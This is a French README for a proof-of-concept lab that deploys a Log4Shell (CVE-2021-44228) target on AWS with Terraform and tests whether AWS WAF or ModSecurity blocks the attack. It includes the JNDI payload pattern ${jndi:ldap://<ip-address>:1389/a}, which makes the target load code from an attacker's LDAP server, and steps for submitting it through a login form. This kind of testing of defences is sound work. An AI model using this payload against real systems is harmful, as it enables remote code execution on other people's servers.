
Les fichiers de ce projet démontrent une preuve de concept de la vulnérabilité log4j (CVE-2021-44228) sur AWS en utilisant Terraform comme Infrastructure-as-a-code.
Ces fichiers de projet démontrent une preuve de concept de la vulnérabilité log4j (CVE-2021-44228) sur AWS en utilisant Terraform Infrastructure-as-a-Code.
Il y a 2 démos dans ce projet :
Conclusion : La première démo montre une exploitation réussie en utilisant AWS WAF. La deuxième démo a été une tentative infructueuse lorsque ModSecurity est en place. En supprimant ModSecurity, l'exploitation réussira. Cela peut être dû au fait que ModSecurity est un projet actif, donc les chaînes vulnérables ont été identifiées et filtrées.
Ce poc provient de : https://github.com/kozmer/log4j-shell-poc
Ce blog Medium explique comment son essai a été mené : https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873
Personnellement, j'ai testé avec Windows + Powershell, la machine cloud est Ubuntu 18 LTS. (Exploitation avec Kali ou n'importe quel Linux)
Créez via le web (nommez-la 'tf-aws') : https://console.aws.amazon.com/ec2/v2/home?#KeyPairs
https://us-east-1.console.aws.amazon.com/iamv2/home#/users > Sélectionnez l'utilisateur > Sélectionnez la section security_credentials
Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"
Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"
cd single-instance
terraform init
terraform apply
Après l'exécution, une IP / DNS sera listée.
Pour single-instance, assurez-vous que http:<aws host url>:8080 est accessible
Pour double-instance, assurez-vous que http:<aws host url> est accessible
* veuillez noter que le lancement de 'double-instance' prend beaucoup plus de temps, vous pouvez utiliser journalctl -f après ssh dans le système pour suivre la progression
Si vous suivez le journal, "Reached target Cloud-init target." signifie qu'il est prêt.

Définir la permission d'exécution
chmod +x ../exploit-script-remote.sh
Exécuter le script avec la variable fournie
../exploit-script-remote.sh
Notez que la charge utile est affichée à la fin du script, similaire à ${jndi:ldap://<ip-address>:1389/a}
Visitez http:<aws host url>:8080
Copiez la charge utile dans le champ 'username' puis soumettez le formulaire

Fichier JDK : assurez-vous que l'intégrité de la source Baidu correspond au hash d'Oracle
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974
Instance : https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance
Spot instance : https://www.tderflinger.com/en/ec2-spot-with-terraform
SSH : https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html
[ssh key on the fly] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform
Waf : https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/
Templating : https://spacelift.io/blog/terraform-templates